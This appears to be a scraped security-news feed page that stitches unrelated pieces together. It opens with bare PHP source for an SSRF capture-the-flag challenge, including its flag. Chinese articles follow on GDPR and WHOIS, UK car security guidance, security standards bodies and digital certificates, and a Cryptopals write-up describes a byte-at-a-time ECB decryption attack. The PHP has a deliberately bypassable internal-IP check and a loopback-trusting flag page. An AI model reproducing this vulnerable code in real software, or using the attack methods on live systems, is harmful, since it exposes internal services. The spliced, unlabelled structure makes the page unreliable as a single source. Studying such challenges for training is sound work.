// index.php <?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result){ die('url fomat error1'); } try{ $url_parse=parse_url($url); } catch(Exception $e){ die('url fomat error2'); } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24; } function safe_request_url($url) { if (check_inner_ip($url)){ echo $url.' is inner ip'; } else{ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']){ safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } $url = $_POST['url']; if(!empty($url)){ safe_request_url($url); } else{ highlight_file(__file__); } //flag in flag.php ?> // flag.php <?php if (! function_exists('real_ip') ) { function real_ip() { $ip = $_SERVER['REMOTE_ADDR']; if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] AS $xip) { if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { $ip = $xip; break; } } } elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) { $ip = $_SERVER['HTTP_X_REAL_IP']; } return $ip; } } $rip = real_ip(); if($rip === "127.0.0.1") die("HRCTF{SSRF_can_give_you_flag}")

封锁白帽子 放纵黑帽子:GDPR丑陋的一面

$
0
0

上个月GDPR就半岁了。这项监管规定承诺提升处理欧盟公民数据的所有跨国公司的透明度和问责力度。高额罚金的可能性迫使公司企业好好思考自身合规和调整适应的方式。


封锁白帽子 放纵黑帽子:GDPR丑陋的一面

然而,也有人认为,黑客能利用这项规定来谋取攻击优势。围绕GDPR准备度的顾虑分散了我们对网络安全和司法方面一些负面后果的注意力。

于是,在迈入2019年之际,我们应反省该条例呈现的一些甚少讨论过的问题。

WHOIS封锁了白帽子

WHOIS域名注册人个人信息数据库就是第一个问题。WHOIS是执法人员、安全研究人员和IP持有者的重要工具,可以查找与欺诈或大范围网络攻击活动相关的GDPR漏洞利用。

滥用品牌IP作为满载恶意软件的网站或用于网络钓鱼的恶意假冒域名,可以通过WHOIS数据库找出其背后的网络罪犯。即便注册人因为知道自己所作所为非法而使用了假名,同样的假名也往往用于注册多个域名,对执法人员一样大有用处。

美国政府认为,该数据应仍能被警方和IP持有者访问,互联网监管机构ICANN也注意到了WHOIS在这些用例中的价值。

然而,反网络钓鱼工作组的一项新研究发现,ICANN在5月设立了对WHOIS数据的临时规范以符合GDPR规定,而这项规范中断了执法人员的调查。

之前公开可用的WHOIS信息如今被涂抹掉了大半,且合法调查人员根据临时规范提出的非公开WHOIS信息访问请求通常不会被通过。很多注册机构明显不愿意收集太多注册者信息,以防违反了GDPR。

网络钓鱼向纵深发展

网络钓鱼依然是公司企业和消费者安全的主要威胁,是身份盗窃、勒索软件和其他恶意软件下载的关键一步,与2017年93%的企业数据泄露事件相关。

如果GDPR无可避免地给黑帽子壮了胆,那么监管者需找出折衷方案允许特定组织经审查后访问WHOIS。他们至少可以将受限个人数据替换为散列值,这样一来,司法人员、监管人员和调查人员就可以辨别所有权模式了。

生效6个多月以来,GDPR已被证明对网络钓鱼者越来越有利。网络罪犯总在寻找利用最新新闻趋势的方法,怂恿收件人点击网络钓鱼或其他恶意链接。事实上,GDPR为网络钓鱼者提供了绝佳机会:他们可以分享可能来自“公司”的诈骗电子邮件,要求客户更新他们的凭证。

诈骗者可能继续将GDPR用作伪装,诱使毫无戒心的用户共享出敏感财务信息或个人信息。网络钓鱼攻击会敦促用户更新自己的偏好,称若不更新,他们的账户将可能面临被冻结或删除的风险。在GDPR生效那段时间,此类欺诈邮件泛滥收件箱,而合法公司企业同时也在发送自身的市场营销邮件。因此,提升GDPR意识的任何立法新进展都有可能触发一轮新的诈骗攻击。

沉默半年?

ICANN临时规范将持续12个月,替代规范正在制定中。但是,行业组织对能协调监管者、注册机构、公司企业和司法机构代表等各方利益的解决方案仍抱悲观态度。

GDPR生效以来,我们几乎没有听到消费者关于数据合规的任何意见。除了公司企业宁愿支付网络罪犯也不愿面对GDPR罚金的离奇故事,后GDPR时代的情况与生效前议论纷纷的状况大相径庭。希望这种沉默是因为监管控制而不是因为他们例行公事地勾掉合规事项而进行下一项事务了吧。

合规是个持续的过程,公司企业需一直调整适应。2019年还有其他监管规定需要实现,包括欧盟的《电子隐私条例》(ePR)。ePR保护涉电子通信的数据及设备的机密性,其司法辖区与GDPR相同,连不合规的惩罚机制都如出一辙。

新年来临之际,随着数据泄露继续几乎每周都登头条,可以预期监管机构将很快拿一家不合规的大企业杀鸡儆猴,处以4%全球年营业额的最高GDPR罚款。无论如何,GDPR时时提醒着公司企业保持警惕,随时根据要求调整自己的合规过程。

英国制定智能汽车网络安全准则 防止黑客攻击

$
0
0

据外媒报道,日前,英国多家汽车制造商联合科研机构与交通部,共同制定了一套自动驾驶和联网汽车的网络安全指南,以确保未来智能汽车不会被黑客与不法分子所操纵。

英国交通部与捷豹路虎、宾利和美国福特公司合作研究出了自动驾驶汽车网络安全的基本原则。这些指导方针虽不是强制性的,但它为汽车网络安全提供了一个框架,防止未来无人驾驶汽车和智能互联汽车受到黑客的控制,同时确保汽车安全存储和管理用户的数据。

该文件的适用对象为汽车公司及其供应商,基于DfT和互联及自动驾车辆中心(CCAV)先前制定的原则。文件规定自动驾驶车和互联车辆的传感器必须能够抵抗黑客干扰,并且公司必须主动报告黑客企图。如果自动驾驶汽车发生故障,也必须有故障安全系统来保护路人和乘客。

英国致力于跃居自动驾驶汽车行业前沿。据预计,到2035年,英国该行业价值将达520亿英镑。交通部长杰西 诺曼(Jesse Norman)在评论新标准时说:“随着车辆变得更加智能,未来汽车行业的机遇将增多,但是这也带来了数据窃取和黑客攻击的风险。”诺曼补充说,新标准“应有助于该行业更好地应对挑战,并保持英国处在无人驾驶技术发展的前沿。”

欧美网络安全领域标准情况概述

$
0
0

作者:北京银联金科科技有限公司(银行卡检测中心) 高强裔

随着互联网、移动互联网、物联网等技术的发展,信息技术已日渐成为支撑,甚至引导金融业务发展的重要推动要素之一。金融基础业务、核心流程、客户关系、行业间往来等事物和活动均已运行在信息化支撑载体之上,各类业务关键信息、金融消费者个人金融信息等重要数据也均已不同形式转化为数字资产传输、存储在金融基础设施之中。 如何以传统的网络安全标准保障新型信息化技术在金融行业的应用,成为金融标准化工作面临的新课题。

网络安全标准是确保有关信息安全的产品和系统在设计、研发、生产、建设、使用,测评中保证其一致性、可靠性、可控性、先进性和符合性的技术规范与技术依据,是网络安全保障体系建设的重要内容。纵观欧美金融领域网络安全标准化工作情况,除国际标准化组织金融服务技术委员会安全分委会(ISO/TC68/SC2)承担包括金融服务的公钥基础设施、零售银行安全等金融细分技术领域信息安全标准化工作外,总体呈现标准分散、行政管理制度与技术标准边界不甚清晰的情况。如,支付领域的网络安全标准由支付卡产业信息安全标准委员会(PCISSC)、EMVCo等国际产业论坛与行业组织,推动该领域包括信息安全在内的技术标准制定与应用落地工作。又如,国际清算银行(BIS)、金融稳定理事会(FSB)等国际组织也均在自身工作领域中,以规范或报告的方式发布有关金融业务细分领域的网络安全技术要求或工作指南。甚至在某些细分技术应用场景中,各国行政部门也会以技术规范的方式发布有关信息技术与网络安全的规定或细则。

欲借他山之石,琢玉为己用,则需立足于网络安全标准的框架下,研究欧美在内的全球网络安全标准体系结构与工作进展,制定符合我国金融行业技术特点的网络安全标准体系,以实现技术标准指导并保障金融信息科技产品与服务全生命周期的网络安全可控、在控的目标。 本文选择国际标准化组织(ISO)、美国国家标准和技术研究院(NIST)、欧盟网络和信息安全局(ENISA)为对象,就三者在网络安全标准化工作的情况进行概要性描述,以供金融行业网络安全标准的研制工作参考。

国际标准化组织网络安全标准化概述

1.ISO/IEC/JTC1/SC27技术委员会。国际标准化组织(ISO)和国际电工委员会(IEC)于1987年联合成立信息技术委员会JTC1,尤其负责在国际标准化组织中承担信息技术领域的标准化工作。JTC1技术委员会下设SC27工作组负责信息技术领域安全技术(IT Security Techniques)的标准化工作,该工作组也是国际信息安全领域比较活跃的国际标准化组织。JTC1目前已发布ISO国际标准182件,在研标准项目72项。

JTC1/SC27内含5个常设工作组,各工作组在JTC1中负责领域关系详见下图。在管理咨询、数据安全等领域SC27内设有专门的研究工作组。同时,JTC1与ISO/TC 307在区块链和分布式账本技术的信息安全领域成立了联合工作组ISO/TC 307/JWG 4。JTC1/SC27也与ISO/TC 68/SC 2等31个ISO与IEC技术委员会、48个包括IEEE、ITU、ETSI、ISACA在内的国际技术组织与联盟建立有联络员机制。


欧美网络安全领域标准情况概述
图 ISO/IEC/JTC1/SC27工作组

2.各工作组标准化工作情况概述。 WG1信息安全管理体系工作组主要负责ISO/ISC 27000系列标准的研制与维护工作, 其中ISO/IEC 27003-2017《信息安全管理体系指南》(第二版)、ISO/IEC 27005-2018《信息安全风险管理》(第三版)为该组近期在信息安全管理核心标准族中的重要工作成果。同时,WG1在27000系列标准的部分细分领域与应用指南方面,承担最佳实践与技术指南的研制工作,如ISO/IEC 27017-2015即为在云服务中实施基于ISO/IEC 27002信息安全控制的最佳实践,该标准被包括CSA等国际云计算标准化组织广泛参考使用。

WG2密码学与安全机制工作组主要围绕密码算法、实体鉴别、密钥管理、随机数生成与测试、秘密共享等领域开展工作,该组也是我国实质性参与较活跃的工作组。我国推动了SM系列算法纳入ISO/IEC 11889、ISO/IEC 14888-3、ISO/IEC 10118-3、ISO/IEC 18033-3等标准的进程。

WG3安全评估、测试与规范工作组主要负责开发与维护信息安全工程有关的安全评估、测试、认证相关标准,其标准覆盖范围包括但不限于信息系统、组件、产品。WG3工作组的核心标准为ISO/IEC 15408《信息技术安全评估通用准则》(Common Criteria,缩写为CC),该标准及其应用衍生准则为欧盟区域对于信息技术产品的通用安全评估与认证准则。

WG4工作组主要负责与安全控制和服务有关的技术标准研制,该工作组更强调信息安全标准在信息系统与产品中的安全应用,以及上述系统与产品的全生命周期的安全控制:业务联系性、安全事件管理等ICT操作安全;信息系统生命周安全控制;安全设计、安全集成、供应链安全等组织控制过程安全;可信服务安全等。

值得注意的是,云计算、物联网、网络安全、虚拟化、存储安全等信息技术的安全控制类标准也是WG4工作组的工作范畴。

WG5身份管理与隐私保护技术工作组主要负责对身份管理、隐私保护、生物特征鉴别技术进行标准要研究。ISO/IEC 29100隐私框架,以及围绕该标准制定的一系列隐私信息与个人身份信息(personally identifiable infor-mation,缩写为PII)相关信息安全标准归属于该工作组。同时,WG5与WG1就信息安全管理体系中的隐私保护;与WG4就大数据安全中的隐私保护进行跨组合作。

美国国家标准和技术研究院网络安全标准化概述

1.美国国家标准和技术研究院概述。美国的标准化牵头机构为美国国家标准协会(ANSI),该协会的主要重要工作是协调美国联邦范围内自愿性共识标准的制定,并在国际上代表美国参与标准化工作。ANSI并不直接牵头撰写技术标准,其依据“共识、程序正当、开放”的原则,对标准的开发者进行认证。在网络安全领域,美国国家标准和技术研究院(National Institute of Standards and Technology,以下简称NIST)作为奥巴马时期《网络空间安全国家行动计划》(CNAP计划),以及特朗普于2018年9月签署的《美国国家网络战略》中有关网络安全标准的主要起草单位,在美国的网络安全技术标准研制工作中扮演者关键性角色。

NIST于1901年由美国国会发起成立,目前隶属于美国联邦政府商务部技术司。该组织为非监管性质的联邦部门,是美国测量技术和标准的国家级研究机构。NIST内设5个实验室2个研究中心,其中信息技术实验室(ITL)下设的计算机安全部门(CSD)为NIST网络安全有关标准的主要制定部门。

2.NIST网络安全出版物。NIST通过发布标准和指南等出版物的方式,为美国联邦政府的网络安全管理提供技术标准支撑。NIST出版的技术标准大多数不具备强制效力,仅为美国政府部门与企业等组织机构提供框架性或指导类参考。该机构网络安全领域有关的出版物主要包括:联邦信息处理标准(FIPS)系列、特别出版物800(SP 800)计算机安全系列、特别出版物1800(SP 1800)网络安全实践指南系列、NIST内部或机构间研究报告(NISTIR)系列和NIST信息技术实验室公告。

(1)联邦信息处理标准(FIPS)系列。FIPS为美国联邦信息处理标准(Federal Information Processing Standard)的缩写,是在美国政府计算机标准化计划范围内开发的标准族,主要描述文件处理、加密算法和其他信息技术(在非军用政府机构及与这些机构合作的政府承包商和供应商中应用)的标准。NIST在制定完成FIPS系列标准后,需依据美国1996年《信息技术管理改革法案》第5131条款、2002年《联邦信息安全管理法案》(FISMA法案)、2014年《联邦信息安全现代化法案》(FISMA法案)等联邦法律,经美国商务部部长签署后发布。因此FIPS大部分为事实性的强制标准,要求多数的(国家安全部门除外)联邦政府部门按照标准中的规定执行。若相关产品需在美国政府部门或相关机构使用,需提交其产品(或软件)符合FIPS技术标准的证明。

与密码算法、密码模块相关信息安全标准多数在FIPS系列标准族中。同时该标准族还包含FISMA法案中要求的部分联邦信息和信息系统风险管理相关标准,如标号为FIPS 200的联邦信息和信息系统的最低安全要求。FISMA法案中大部分风险管理相关控制措施与实施指南归属于特殊出版物800系列标准。

(2)特别出版物(SP 800)系列。特殊出版物800系列为NIST依据FISMA法案开发的网络安全指导性指南、技术规范、技术建议与年度报告的集合,其旨在支撑美国联邦政府信息系统与数据的信息安全和隐私保护需求。SP 800系列标准本身并不具备强制效力,联邦政府法律、法规和政策性文件可规定相关组织是否必须(或鼓励)遵从SP 800的有关要求。

目前,SP 800系列已经出版了200余本信息安全相关的正式文件,形成了覆盖信息安全体系设计、信息技术风险管理、安全控制措施、安全意识培训与教育等一系列信息安全技术措施与安全管理的技术标准体系。虽然其并非正式法定的技术标准,但在信息安全实际工作中,该系列标准配套SP 1800,已成为美国与国际信息安全领域广泛认可的技术标准。

欧盟网络和信息安全局网络安全标准合作情况介绍

欧盟网络和信息安全局(ENISA)为欧盟的网络安全专业化中心,其作用是推动和落实欧盟《网络与信息系统安全指令》,协调欧盟机构、成员国和企业界的网络安全合作,分析网络安全威胁并向各方提供分析结果,提供相关咨询和帮助,协助欧盟开展国际合作等,以此提升欧盟整体的网路安全水平。 ENISA的具体工作包括: 为欧盟与成员国提供包括国家网络安全战略、关键基础设施和服务安全、网络危机管理、数据安全与隐私保护等方面的咨询与协调工作;实施欧盟范围内计算机安全事件应急响应组织(CSIRT)、信息共享和分析中心(ISAC)、网络安全演习等工作的组织协调与能力建设;为欧盟范围内网络威胁识别与风险管理提供服务;为欧盟成员国与有关企业提供网络安全专家培训教育等。

ENISA累计发行网络安全有关出版物338件,其最新出版物为《云和物联网的安全融合》。

以上为本文对欧美三家网络安全标准研究机构标准化工作情况的概要说明,望能对金融行业网络安全标准化工作提供一定的参考。

本文节选自《金融电子化》2018年10月刊

声明:本文来自金融电子化,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。

数字证书一步步

$
0
0

数字证书一步步

阅读: 48

说到数字证书可能不是那么的陌生又可能很难说的清楚,这篇文章就是尽量让各位读懂数字证书是什么,它又是怎样的一步步从诞生到保护我们的信息传输的呢。

文章目录

身边的数字证书

先不谈他的概念,我们先看看它的应用吧:在新版的微信中已经在支付安全中看到了数字证书的身影了,我们可以在微信中启用数字证书或者将其删除。


数字证书一步步

支付宝呢,也没有意外,并且还多了一句根据监管部门的要求安装数字证书可提升余额单日额度。


数字证书一步步
监管要求中的数字证书

央行公开发布的条码支付业务规范和技术规范等文件已从今年4月1日开始实施,其中提到了交易验证的三要素并且无论采取哪种支付方式都要求至少满足两条,两大支付软件开启了数字证书功能就很能说通了。


数字证书一步步
数字证书的诞生

想弄清楚数字证书的前世今生,还是要从最基本的web访问开始,下面,模拟web数据传输的几个阶段。

完全明文传输的阶段

http明文形式的传输如图所示,可以想象成burpsuite里的request和response。

问题:任何人只要能抓取到我的流量,都可以像上图一样看到我详细的传输信息,这样的话密码就可以改名为明码了,基本失去了其功能。


数字证书一步步
对称性加密的阶段

这个过程就是在我发送我的http请求时,我先把本地生成的会话密钥发送给服务器(服务端反之),然后我再把用该密钥加密的http请求发送,服务器再用之前获取的客户端密钥解密得到明文请求(或反之)。

一个问题:这个本地生成的密钥如何共享给对方

两种方式:

带内:请求真实数据前先发送密钥信息,这个时候发送的信息只能是明文吧,我可不是只能抓取真实数据,你传送的密钥数据包照抓不误,然后你用该密钥加密的数据还有意义嘛?

带外:很简单,当你想要访问百度的时候呢,先拿U盘去西二旗考一下百度的密钥,然后在回去交给你的浏览器,这样的话,过不了多时,你就以带外传输密钥的借口环游世界了。


数字证书一步步
非对称加密阶段

话说上有政策下有对策,好像不对,应该是办法总比问题多,这个时候出来了一种非对称加解密的算法,至于原理不搞密码学暂时不用管当然我也不懂,在这里明白一点,我作为服务器本地生成一对公私钥,公私钥之间只能互为对方加解密;然后我将公钥发给你,你所有的请求都用该公钥加密,而私钥只存在我手里,只有我收到你的请求才能正常的解密得到明文数据进行处理。

问题:加密方式强度的增大,一方面靠加密算法的改进另一方面还要靠加密位数的大小。攻防始终是个博弈的过程,当我有次买票时看到12306的16张图片验证码时我就X掉了浏览器没有再买票了。非对称加密是个很耗时的过程,假设一次加解密用时3秒,意思可以理解为你去点击一个链接时需要等待2秒才可以看到返回结果,有没有想过任何一个链接都如此,结果会怎样!

非对称加密+对称加密

虽然说非对称加密是非常耗时的,但是他呢确实可以安全的将信息发送给所要的人而不被窃听,那也当然可以通过这种方式把我本地生成的密钥安全的传递给对方,这样就解决了2中密钥传送的历史问题。既不用跑去西二旗也不怕被网路监听了,当双方都安全的拿到密钥时,对称加密就可以粉墨登场了。

有没有问题:利用非对称加密方式获取密钥的前提是首先要拿到对方的公钥,理论上这个公钥可以发给任何人你也可能收到任何人的公钥,怎样确定你收到的公钥就是你自己想要的呢?

中间人攻击

在这个图中,当客户端请求服务端的公钥时被中间人截获,中间人返回了自己本地生成的公钥,客户端也就只能将本地生成的对称密钥使用该公钥加密发送出去,中间人收到时呢私钥解决拿到该对称密钥之后的任何加解密就不是问题了;同时呢,中间人伪装客户端请求服务端的公钥,模拟客户端与服务器的数据在这里加密、解密、加密……


数字证书一步步
数字证书

数字证书包含的内容可以概述为三部分: 用户的信息、用户的公钥、还有CA中心对该证书里面信息的签名。

上面所说的非对称加密,一个重要特点是:使用公钥加密的数据必须使用私钥才能解密,同样的,使用私钥加密的数据必须使用公钥解密。正是因为这个特点,网站就可以在自己的证书中公开自己的公钥,并使用自己的私钥将自己的身份信息进行加密一起公开出来,这段被私钥加密的信息就是证书的数字签名,浏览器在获取到证书之后,通过证书里的公钥对签名进行解密,如果能成功解密,则说明证书确实是由这个网站发布的,因为只有这个网站知道他自己的私钥(如果他的私钥没有泄露的话)。

当然,如果只是简单的对数字签名进行校验的话,还不能完全保证这个证书确实就是网站所有,黑客可以在通信中间进行劫持,使用自己的私钥对网站身份信息进行加密,并将证书中的公钥替换成自己的公钥,这样浏览器同样可以解密数字签名,签名中身份信息也是完全合法的。下面介绍一个重要机构:CA。

CA全称为Certificate Authority,证书授权中心,它是专门负责管理和签发证书的第三方机构。因为证书颁发机构关系到所有互联网通信的身份安全,因此一定要是非常权威的机构,像GeoTrust、GlobalSign等等。

如果一个网站需要支持HTTPS,它就要一份证书来证明自己的身份,而这个证书必须从CA机构申请,大多数情况下申请数字证书的价格都不菲,不过也有一些免费的证书供个人使用。

如果用户想得到一份属于自己的证书,需要向CA机构提供网站域名,营业执照,以及申请人的身份信息等。网站的域名非常重要,申请人必须证明自己对域名有所有权,一个证书一般只绑定一个域名, CA机构也提供申请通配符域名(例如,*.guokr.com),通配符域名相当于绑定了主域名下的所有域名。在CA判明申请者的身份后,便为他分配一个公钥,并且CA将该公钥与申请者的身份信息绑在一起,并为之签字后,便形成证书发给申请者。如果一个用户想鉴别另一个证书的真伪,他就用CA的公钥对那个证书上的签字进行验证,一旦验证通过,该证书就被认为是有效的。通过这种方式,黑客就不能简单的修改证书中的公钥了,因为现在公钥有了CA的数字签名,由CA来证明公钥的有效性,不能轻易被篡改,而黑客自己的公钥是很难被CA认可,所以无用担心证书被篡改的问题。

下面以百度的证书举个栗子:


数字证书一步步

当我们访问百度时,可以看到浏览器URL栏中的一个锁,点击它即可查看百度的证书信息,如下:


数字证书一步步

在图中可以看到证书的唯一目的:保证远程计算机的身份

颁发给:baidu.com 这样的话 www.baidu.com/map.baidu.com 等都可以用

之后还有颁发者信息和有效日期

如果个人网站只为加密传输也可以自己制作SSL证书,自己制作的证书不会受到浏览器的信任,在访问的时候由于证书验证失败而给出警告,添加信任即可。


数字证书一步步

证书路径:我们可以这样理解,根CA机构就是一个公司,根证书就是他的身份凭证,每个公司由不同的部门来颁发不同用途的证书,这些不同的部门就是中级CA机构,这些中级CA机构使用中级证书作为自己的身份凭证,其中有一个部门是专门颁发SSL证书,当把根证书,中级证书,以及最后申请的SSL证书连在一起就形成了证书链,也称为证书路径。


数字证书一步步

根证书是最关键的一个证书,如果根证书不受信任,它下面颁发的所有证书都不受信任。操作系统在安装过程中会默认安装一些受信任的CA机构的根证书,可以在“运行”里面运行“certmgr.msc”启动证书管理器,如下图所示:


数字证书一步步

当浏览器收到数字证书时,首先去判断该证书的颁发机构是否在我的受信任的机构中,如果不在浏览器中直接警告用户;如果在的话,1方面用CA公钥解密数字签名得到消息摘要,再将server公钥利用相同的hash算法再次得到一个消息摘要,对比两次的结果保证证书的完整性……


数字证书一步步
https通信过程

该过程仅以图展示还比较条理:


数字证书一步步
再谈数字证书

通过以上的内容基本描述了在通信过程中数字证书从它的诞生到如何一步步保证我们信息传输的安全,对于绝大部分的网站来说已经可以达到安全要求,但相比于电子银行等涉及交易的系统时单方面的认证似乎还存在一些隐患,那对于这类安全性要求更高系统该怎么做呢,数字证书在电子银行类系统中又是怎样的一个认证过程呢,下一篇继续。

到此文章结束,其中细节若出现错误还请不吝赐教,顺祝时祺。

The Cryptopals Crypto Challenges 解题报告(2)

$
0
0

作者:上海交通大学蜚语安全(G.O.S.S.I.P)研究小组实习生张一苇

链接: https://cryptopals.com/

参考: https://github.com/ickerwx/cryptopals

下载: PDF

Set 2:Block crypto

Set 2的练习与分组密码学有关,在这一组里你会看到大多数加密网络软件中实现的方法,在Set 1的基础上完成练习,是对真实世界中加密算法的安全攻击的简单入门。

目录:

Challenge 9: Implement PKCS#7 padding

Challenge 10: Implement CBC mode

Challenge 11: An ECB/CBC detection oracle

Challenge 12: Byte-at-a-time ECB decryption (Simple)

Challenge 13: ECB cut-and-paste

Challenge 14: Byte-at-a-time ECB decryption (Harder)

Challenge 15: PKCS#7 padding validation

Challenge 16: CBC bitflipping attacks

Challenge 9: Implement PKCS#7 padding

题目要求:

分组密码将固定大小(通常为8或16字节)的文本块转化为密文,大多数时候我们需要加密不规则大小的信息,但是通常不想改变消息的内容。这时,通常的做法是通过填充来生成一段块大小整数倍的文本,最流行的填充策略是PKCS#7。

PKCS#7这种方法是在最后一个块中添加一定长度的字节,填充长度为使文本长度能够达到BLOCKSIZE整数倍的增加字节数,填充内容为填充长度字节重复。

示例:

已知string=“YELLOW SUBMARINE”,长度为16字节,将其填充到20字节

paddingstring=“YELLOW SUBMARINE\x04\x04\x04\x04”,需要填充的长度为4字节,因此在字符串最后添加填充“\x04\x04\x04\x04”

实现方法:

函数输入参数为待填充的字符串string,和需要的填充后的字符串长度length。

填充方法PKCS7padding:首先计算出字符串的长度psize,然后得到填充部分数组[psize]*psize,将其转化为字符串添加到原字符串后面。

去掉填充removePKCS7padding:取字符串最后一位转化为数字即为填充的长度padnum,返回0到len(string) padnum长度的字符串,即为原始字符串。

def PKCS7padding(string, length): psize = length - len(string) pad = [psize] * psize return string + bytelist_to_str(pad) def removePKCS7padding(string): padnum = ord(string[len(string) - 1]) return string[ : len(string) - padnum] string="YELLOW SUBMARINE" paddingstring=PKCS7padding(string,20) print paddingstring print removePKCS7padding(paddingstring)

输出结果:


The Cryptopals Crypto Challenges 解题报告(2)
Challenge 10: Implement CBC mode

题目要求:在AES ECB的基础上,实现AES CBC。

CBC模式一种分组密码模式,允许我们加密不规则的消息,但是同样只能加密完整的块。在CBC模式中,下一次块加密之前,每一个密文块加到下一个明文块上。第一个明文块需要与一个初始化向量IV相加。

已知待解密的文本文件,密钥key,IV,来得到解密后的文本。

key=“YELLOW SUBMARINE”

IV=全0

(ps:IV全0,以及固定IV、key,是一种密码学误用,十分不安全,建议不要使用;通常需要随机生成key和IV。)

实现方法:AES CBC加解密流程如下,其中block cipher encryption指代AES ECB加密,block cipher decryption指代AES ECB解密。(图源wiki)


The Cryptopals Crypto Challenges 解题报告(2)
The Cryptopals Crypto Challenges 解题报告(2)
def aes_cbc_encrypt(key, iv, string): pnum = (len(string) / 16 + 1) * 16 paddingString = PKCS7padding(string, pnum) ciphertext = "" for i in range(pnum / 16): block = str_to_bytelist(paddingString[i * 16 : i * 16 + 16]) xorBlock = bytelist_to_str(xor(block, iv)) encryptBlock = aes_ecb_encrypt(key, xorBlock) ciphertext += encryptBlock iv = str_to_bytelist(encryptBlock) return ciphertext def aes_cbc_decrypt(key, iv, string): plaintext = "" for i in range(len(string) / 16): block = aes_ecb_decrypt(key, string[i * 16 : i * 16 + 16]) xorBlock = xor(str_to_bytelist(block), iv) decryptBlock = bytelist_to_str(xorBlock) plaintext += decryptBlock iv = str_to_bytelist(string[i * 16 : i * 16 + 16]) return plaintext f = open('challenge10.txt', 'r') s = f.read() ciphertext = base64.b64decode(s) key = "YELLOW SUBMARINE" iv = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] plaintext = aes_cbc_decrypt(key, iv, ciphertext) plaintext = removePKCS7padding(plaintext) #去掉明文末尾的填充 print plaintext

输出结果:


The Cryptopals Crypto Challenges 解题报告(2)
The Cryptopals Crypto Challenges 解题报告(2)
Challenge 11: An ECB/CBC detection oracle

题目要求:

实现三个函数

函数1――产生随机的AES密钥,16字节。

函数2――使用随机产生的未知密钥进行加密;加密前,在明文前面添加5-10字节随机值,在明文后面添加5-10字节随机值;随机选取ECB/CBC加密模式,概率各为1/2,如果是CBC还需要产生随机IV。

函数3――检测每次执行的块加密的模式(ECB or CBC)。

实现方法:

随机数的生成,可以使用random.randint(0,255)方法来生成0到255之间的随机数字。 加密流程:先在字符串前加5-10随机值,在字符串后面添加5-10随机值;然后对整个字符串进行PKCS#7填充;产生一个随机数,决定加密模式如果为1,则为EBC加密,否则为CBC加密;最后通过ECB的特性检测ECB模式,方法详情参考challenge 8。 def generate_randomdata(length): data = [] for i in range(length): data.append(random.randint(0, 255)) return data def random_encrypt(key,iv,string): flag = random.randint(1, 2) randomFront=bytelist_to_str(generate_randomdata(random.randint(5, 10))) randomBack = bytelist_to_str(generate_randomdata(random.randint(5, 10))) padRandomString = PKCS7padding(randomFront + string + randomBack) print flag if flag == 1:#ECB MODE ciphertext = aes_ecb_encrypt(key, padRandomString) else:#CBC MODE ciphertext = aes_cbc_encrypt(key, iv, padRandomString) return ciphertext def detect_mode(ciphertext): blocks = [b for b in chunks(ciphertext,16)] detects = [] for b in blocks: if blocks.count(b) > 1: detects.append(b) if detects: print("ECB MODE detected!") key=bytelist_to_str(generate_randomdata(16)) iv=generate_randomdata(16) string="I have a dream that one day every valley shall be exalted, and every hill and mountain shall be made low, the rough places will be made plain, and the crooked places will be made straight; and the glory of the Lord shall be revealed and all flesh shall see it together." * 10 ciphertext = random_encrypt(key, iv, string) detect_mode(ciphertext)

输出结果:


The Cryptopals Crypto Challenges 解题报告(2)
Challenge 12: Byte-at-a-time ECB decryption (Simple)

题目要求:

在加密前,在明文后面添加一段文本(添加之前需要对该文本进行Base64解码)。文本如下

Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg YnkK

使用一个恒定未知的密钥,通过ECB模式加密。加密函数格式为:

AES-128-ECB(your-string || unknown-string, random-key)

现在,已知加密函数的接口encrypt(string),需要解密”unknown-string”。

实现方法:即解密方法。

(1)通过不断对”A”、”AA”、”AAA”……加密,通过密文块的长度以及填充规则,来获得加密块的大小。

(2)测试加密模式是否为ECB。

(3)将your-string设置为”AAAAAAA”,进行加密,提取第一个密文块,为”AAAAAAAB1”的加密结果,B1为unknown-string的第一个字符;然后尝试对”AAAAAAAX”加密,X为任意字符,同样提取第一个密文块,与刚才密文块对比,找到与其相同的密文块,即可以找到unknown-string的第一个字符。

(4)以此类推,即可求得unknown-string。

